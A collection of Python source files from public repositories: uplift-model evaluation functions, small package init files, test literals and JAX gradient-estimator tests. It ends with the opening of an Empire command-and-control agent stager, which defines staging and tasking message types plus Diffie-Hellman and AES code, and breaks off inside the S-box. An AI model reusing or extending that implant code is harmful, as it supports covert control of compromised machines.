qini.drop(random_cols, axis=1, inplace=True) if normalize: qini = qini.div(qini.iloc[-1, :], axis=1) return qini def plot_gain(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=False, random_seed=42, n=100, figsize=(8, 8)): """Plot the cumulative gain chart (or uplift curve) of model estimates. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the cumulative gain of the true treatment effect in each population. Otherwise, it's calculated as the cumulative difference between the mean outcomes of the treatment and control groups in each population. For details, see Section 4.1 of Gutierrez and G{\'e}rardy (2016), `Causal Inference and Uplift Modeling: A review of the literature`. For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not random_seed (int, optional): random seed for numpy.random.rand() n (int, optional): the number of samples to be used for plotting """ plot(df, kind='gain', n=n, figsize=figsize, outcome_col=outcome_col, treatment_col=treatment_col, treatment_effect_col=treatment_effect_col, normalize=normalize, random_seed=random_seed) def plot_lift(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', random_seed=42, n=100, figsize=(8, 8)): """Plot the lift chart of model estimates in cumulative population. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the mean of the true treatment effect in each of cumulative population. Otherwise, it's calculated as the difference between the mean outcomes of the treatment and control groups in each of cumulative population. For details, see Section 4.1 of Gutierrez and G{\'e}rardy (2016), `Causal Inference and Uplift Modeling: A review of the literature`. For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect random_seed (int, optional): random seed for numpy.random.rand() n (int, optional): the number of samples to be used for plotting """ plot(df, kind='lift', n=n, figsize=figsize, outcome_col=outcome_col, treatment_col=treatment_col, treatment_effect_col=treatment_effect_col, random_seed=random_seed) def plot_qini(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=False, random_seed=42, n=100, figsize=(8, 8)): """Plot the Qini chart (or uplift curve) of model estimates. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the cumulative gain of the true treatment effect in each population. Otherwise, it's calculated as the cumulative difference between the mean outcomes of the treatment and control groups in each population. For details, see Radcliffe (2007), `Using Control Group to Target on Predicted Lift: Building and Assessing Uplift Models` For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not random_seed (int, optional): random seed for numpy.random.rand() n (int, optional): the number of samples to be used for plotting """ plot(df, kind='qini', n=n, figsize=figsize, outcome_col=outcome_col, treatment_col=treatment_col, treatment_effect_col=treatment_effect_col, normalize=normalize, random_seed=random_seed) def auuc_score(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=True): """Calculate the AUUC (Area Under the Uplift Curve) score. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not Returns: (float): the AUUC score """ cumgain = get_cumgain(df, outcome_col, treatment_col, treatment_effect_col, normalize) return cumgain.sum() / cumgain.shape[0] def qini_score(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=True): """Calculate the Qini score: the area between the Qini curves of a model and random. For details, see Radcliffe (2007), `Using Control Group to Target on Predicted Lift: Building and Assessing Uplift Models` Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not Returns: (float): the Qini score """ qini = get_qini(df, outcome_col, treatment_col, treatment_effect_col, normalize) return (qini.sum(axis=0) - qini[RANDOM_COL].sum()) / qini.shape[0]

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null

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py

Python

virtual/lib/python3.6/site-packages/pylint/test/regrtest_data/wildcard.py

drewheathens/The-Moringa-Tribune

98ee4d63c9df6f1f7497fc6876960a822d914500

[ "MIT" ]

463

2015-01-15T08:17:42.000Z

2022-03-28T15:10:20.000Z

virtual/lib/python3.6/site-packages/pylint/test/regrtest_data/wildcard.py

drewheathens/The-Moringa-Tribune

98ee4d63c9df6f1f7497fc6876960a822d914500

[ "MIT" ]

52

2015-01-06T02:43:59.000Z

2022-03-14T11:15:21.000Z

virtual/lib/python3.6/site-packages/pylint/test/regrtest_data/wildcard.py

drewheathens/The-Moringa-Tribune

98ee4d63c9df6f1f7497fc6876960a822d914500

[ "MIT" ]

249

2015-01-07T22:49:49.000Z

2022-03-18T02:32:06.000Z

from empty import *

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py

Python

src/python/stup/ring/__init__.py

Wizmann/STUP-Protocol

e06a3442082e5061d2be32be3ffd681675e7ffb5

[ "MIT" ]

14

2017-05-06T10:14:32.000Z

2018-07-17T02:58:00.000Z

src/python/stup/ring/__init__.py

Wizmann/STUP-Protocol

e06a3442082e5061d2be32be3ffd681675e7ffb5

[ "MIT" ]

2

2017-06-13T05:40:18.000Z

2017-06-13T16:23:01.000Z

src/python/stup/ring/__init__.py

Wizmann/STUP-Protocol

e06a3442082e5061d2be32be3ffd681675e7ffb5

[ "MIT" ]

4

2017-06-09T20:20:54.000Z

2018-07-17T02:58:10.000Z

#coding=utf-8 from .buffer import * from .window import * from .container.item import *

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8ab1deccf00c19cf05eafb4ebc9e32a689914006

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py

Python

mayan/apps/folders/tests/literals.py

nadwiabd/insight_edms

90a09d7ca77cb111c791e307b55a603e82042dfe

[ "Apache-2.0" ]

1

2020-07-15T02:56:02.000Z

mayan/apps/folders/tests/literals.py

kyper999/mayan-edms

ca7b8301a1f68548e8e718d42a728a500d67286e

[ "Apache-2.0" ]

null

mayan/apps/folders/tests/literals.py

kyper999/mayan-edms

ca7b8301a1f68548e8e718d42a728a500d67286e

[ "Apache-2.0" ]

2

2020-02-24T21:02:31.000Z

2021-01-05T23:52:01.000Z

from __future__ import absolute_import, unicode_literals TEST_FOLDER_LABEL = 'test folder label' TEST_FOLDER_EDITED_LABEL = 'test folder edited label'

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76fb550626136b4595fa8dfbdb8d64cd8e6640e4

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py

Python

tests/test_gradient_estimation.py

ColCarroll/SGMCMCJax

de1dbf234577fa46ecc98c7c7de4ef547cef52ea

[ "Apache-2.0" ]

null

tests/test_gradient_estimation.py

ColCarroll/SGMCMCJax

de1dbf234577fa46ecc98c7c7de4ef547cef52ea

[ "Apache-2.0" ]

null

tests/test_gradient_estimation.py

ColCarroll/SGMCMCJax

de1dbf234577fa46ecc98c7c7de4ef547cef52ea

[ "Apache-2.0" ]

null

import jax.numpy as jnp import numpy as np import pytest from jax import random from models import X_data, loglikelihood_array, logprior_array from sgmcmcjax.gradient_estimation import ( build_gradient_estimation_fn, build_gradient_estimation_fn_CV, build_gradient_estimation_fn_SVRG, ) from sgmcmcjax.types import PRNGKey, PyTree, SamplerState, SVRGState from sgmcmcjax.util import build_grad_log_post Ndata, D = X_data.shape data = (X_data,) params = jnp.zeros(D) def test_fullbatch_standard_estimator(): "Check that the standard estimator with fullbatch data returns the exact gradient" grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) batch_size = X_data.shape[0] estimate_gradient, init_gradient = build_gradient_estimation_fn( grad_log_post, data, batch_size ) key = random.PRNGKey(0) mygrad, svrg_state = estimate_gradient(0, key, jnp.zeros(D)) assert jnp.array_equal(mygrad, grad_log_post(params, *data)) assert svrg_state == SVRGState() def test_standard_estimator_shape(): "Check shapes for the standard estimator" params = jnp.zeros(D) batch_size = int(0.1 * X_data.shape[0]) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) estimate_gradient_standard, init_gradient = build_gradient_estimation_fn( grad_log_post, data, batch_size ) mygrad, svrg_state = init_gradient(random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert svrg_state == SVRGState() mygrad, svrg_state = estimate_gradient_standard(0, random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert svrg_state == SVRGState() def test_CV_standard_estimator(): "Check shapes for the CV estimator" params = jnp.zeros(D) batch_size = int(0.1 * X_data.shape[0]) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) estimate_gradient_CV, init_gradient = build_gradient_estimation_fn_CV( grad_log_post, data, batch_size, params ) mygrad, svrg_state = init_gradient(random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert svrg_state == SVRGState() mygrad, svrg_state = estimate_gradient_CV(0, random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert svrg_state == SVRGState() def test_SVRG_estimator_shape(): "Check shapes for the SVRG estimator" batch_size = int(0.1 * X_data.shape[0]) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) centering_value = params update_rate = 100 estimate_gradient_SVRG, init_gradient = build_gradient_estimation_fn_SVRG( grad_log_post, data, batch_size, update_rate ) mygrad, svrg_state = init_gradient(random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert jnp.array_equal(svrg_state.centering_value, params) mygrad, svrg_state = estimate_gradient_SVRG( 0, random.PRNGKey(0), params, svrg_state ) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) assert jnp.array_equal(svrg_state.centering_value, params) # ====== # Check that having data as numpy arrays doesn't raise a `TracerArrayConversionError`" def test_standard_estimator_data_np_array(): "Standard estimator: check that having data as numpy arrays doesn't raise a `TracerArrayConversionError`" params = jnp.zeros(D) batch_size = int(0.1 * X_data.shape[0]) data = (np.array(X_data),) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) estimate_gradient_standard, init_gradient = build_gradient_estimation_fn( grad_log_post, data, batch_size ) mygrad, state_svrg = init_gradient(random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) mygrad, state_svrg = estimate_gradient_standard( 0, random.PRNGKey(0), params, state_svrg ) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) def test_CV_data_np_array(): "CV estimator: check that having data as numpy arrays doesn't raise a `TracerArrayConversionError`" params = jnp.zeros(D) batch_size = int(0.1 * X_data.shape[0]) data = (np.array(X_data),) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) estimate_gradient_CV, init_gradient = build_gradient_estimation_fn_CV( grad_log_post, data, batch_size, params ) mygrad, state_svrg = init_gradient(random.PRNGKey(0), params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) mygrad, state_svrg = estimate_gradient_CV(0, random.PRNGKey(0), params, state_svrg) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) def test_SVRG_data_np_array(): "SVRG estimator: check that having data as numpy arrays doesn't raise a `TracerArrayConversionError`" batch_size = int(0.1 * X_data.shape[0]) data = (np.array(X_data),) grad_log_post = build_grad_log_post(loglikelihood_array, logprior_array, data) centering_value = params update_rate = 100 estimate_gradient, init_gradient = build_gradient_estimation_fn_SVRG( grad_log_post, data, batch_size, update_rate ) key = random.PRNGKey(0) mygrad, state_svrg = init_gradient(key, params) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params) mygrad, state_svrg = estimate_gradient(0, random.PRNGKey(0), params, state_svrg) assert type(mygrad) == type(params) assert jnp.shape(mygrad) == jnp.shape(params)

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0a03a91cf647654e3f3983b873a54494132b534b

116

py

Python

sources/algorithms/queries/__init__.py

tipech/OverlapGraph

0aa132802f2e174608ce33c6bfc24ff14551bf4a

[ "MIT" ]

null

sources/algorithms/queries/__init__.py

tipech/OverlapGraph

0aa132802f2e174608ce33c6bfc24ff14551bf4a

[ "MIT" ]

1

2018-10-07T08:06:01.000Z

sources/algorithms/queries/__init__.py

tipech/OverlapGraph

0aa132802f2e174608ce33c6bfc24ff14551bf4a

[ "MIT" ]

null

#!/usr/bin/env python from .enumerate import * from .mrqenum import * from .srqenum import * from .rqenum import *

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1

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1

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6

0a06c5a0c7b812160d7a0ea884c2f42e4f1210d2

72,652

py

Python

data/agent/stagers/http.py

lex0tanl/Empire

c8217e87cf333797eb363b782f769cc4b2f64b0b

[ "BSD-3-Clause" ]

3

2018-01-05T03:59:44.000Z

2020-02-11T03:25:46.000Z

data/agent/stagers/http.py

lex0tanl/Empire

c8217e87cf333797eb363b782f769cc4b2f64b0b

[ "BSD-3-Clause" ]

null

data/agent/stagers/http.py

lex0tanl/Empire

c8217e87cf333797eb363b782f769cc4b2f64b0b

[ "BSD-3-Clause" ]

1

2018-07-31T15:57:02.000Z

#!/usr/bin/env python # AES code from https://github.com/ricmoo/pyaes # DH code from Directly from: https://github.com/lowazo/pyDHE # See README.md for complete citations and sources import copy import sys import struct import os import pwd import hashlib import random import string import hmac import urllib2 import socket import subprocess from binascii import hexlify LANGUAGE = { 'NONE' : 0, 'POWERSHELL' : 1, 'PYTHON' : 2 } LANGUAGE_IDS = {} for name, ID in LANGUAGE.items(): LANGUAGE_IDS[ID] = name META = { 'NONE' : 0, 'STAGING_REQUEST' : 1, 'STAGING_RESPONSE' : 2, 'TASKING_REQUEST' : 3, 'RESULT_POST' : 4, 'SERVER_RESPONSE' : 5 } META_IDS = {} for name, ID in META.items(): META_IDS[ID] = name STAGING = { 'NONE' : 0, 'STAGE0' : 1, 'STAGE1' : 2, 'STAGE2' : 3 } STAGING_IDS = {} for name, ID in STAGING.items(): STAGING_IDS[ID] = name ADDITIONAL = {} ADDITIONAL_IDS = {} for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name # If a secure random number generator is unavailable, exit with an error. try: try: import ssl random_function = ssl.RAND_bytes random_provider = "Python SSL" except (AttributeError, ImportError): import OpenSSL random_function = OpenSSL.rand.bytes random_provider = "OpenSSL" except: random_function = os.urandom random_provider = "os.urandom" class DiffieHellman(object): """ A reference implementation of the Diffie-Hellman protocol. By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526. This prime is sufficient to generate an AES 256 key when used with a 540+ bit exponent. """ def __init__(self, generator=2, group=17, keyLength=540): """ Generate the public and private keys. """ min_keyLength = 180 default_generator = 2 valid_generators = [2, 3, 5, 7] # Sanity check fors generator and keyLength if(generator not in valid_generators): print("Error: Invalid generator. Using default.") self.generator = default_generator else: self.generator = generator if(keyLength < min_keyLength): print("Error: keyLength is too small. Setting to minimum.") self.keyLength = min_keyLength else: self.keyLength = keyLength self.prime = self.getPrime(group) self.privateKey = self.genPrivateKey(keyLength) self.publicKey = self.genPublicKey() def getPrime(self, group=17): """ Given a group number, return a prime. """ default_group = 17 primes = { 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, 17: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, 18: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF } if group in primes.keys(): return primes[group] else: print("Error: No prime with group %i. Using default." % group) return primes[default_group] def genRandom(self, bits): """ Generate a random number with the specified number of bits """ _rand = 0 _bytes = bits // 8 + 8 while(len(bin(_rand))-2 < bits): try: _rand = int.from_bytes(random_function(_bytes), byteorder='big') except: _rand = int(random_function(_bytes).encode('hex'), 16) return _rand def genPrivateKey(self, bits): """ Generate a private key using a secure random number generator. """ return self.genRandom(bits) def genPublicKey(self): """ Generate a public key X with g**x % p. """ return pow(self.generator, self.privateKey, self.prime) def checkPublicKey(self, otherKey): """ Check the other party's public key to make sure it's valid. Since a safe prime is used, verify that the Legendre symbol == 1 """ if(otherKey > 2 and otherKey < self.prime - 1): if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1): return True return False def genSecret(self, privateKey, otherKey): """ Check to make sure the public key is valid, then combine it with the private key to generate a shared secret. """ if(self.checkPublicKey(otherKey) is True): sharedSecret = pow(otherKey, privateKey, self.prime) return sharedSecret else: raise Exception("Invalid public key.") def genKey(self, otherKey): """ Derive the shared secret, then hash it to obtain the shared key. """ self.sharedSecret = self.genSecret(self.privateKey, otherKey) # Convert the shared secret (int) to an array of bytes in network order # Otherwise hashlib can't hash it. try: _sharedSecretBytes = self.sharedSecret.to_bytes( len(bin(self.sharedSecret))-2 // 8 + 1, byteorder="big") except AttributeError: _sharedSecretBytes = str(self.sharedSecret) s = hashlib.sha256() s.update(bytes(_sharedSecretBytes)) self.key = s.digest() def getKey(self): """ Return the shared secret key """ return self.key def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] def _string_to_bytes(text): return list(ord(c) for c in text) def _bytes_to_string(binary): return "".join(chr(b) for b in binary) def _concat_list(a, b): return a + b def to_bufferable(binary): return binary def _get_byte(c): return ord(c) # Python 3 compatibility try: xrange except Exception: xrange = range # Python 3 supports bytes, which is already an array of integers def _string_to_bytes(text): if isinstance(text, bytes): return text return [ord(c) for c in text] # In Python 3, we return bytes def _bytes_to_string(binary): return bytes(binary) # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first def _concat_list(a, b): return a + bytes(b) def to_bufferable(binary): if isinstance(binary, bytes): return binary return bytes(ord(b) for b in binary) def _get_byte(c): return c def append_PKCS7_padding(data): if (len(data) % 16) == 0: return data else: pad = 16 - (len(data) % 16) return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): if len(data) % 16 != 0: raise ValueError("invalid length") pad = _get_byte(data[-1]) if pad <= 16: return data[:-pad] else: return data class AES(object): '''Encapsulates the AES block cipher. You generally should not need this. Use the AESModeOfOperation classes below instead.''' # Number of rounds by keysize number_of_rounds = {16: 10, 24: 12, 32: 14} # Round constant words rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91] # S-box and Inverse S-box (S is for Substitution) S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 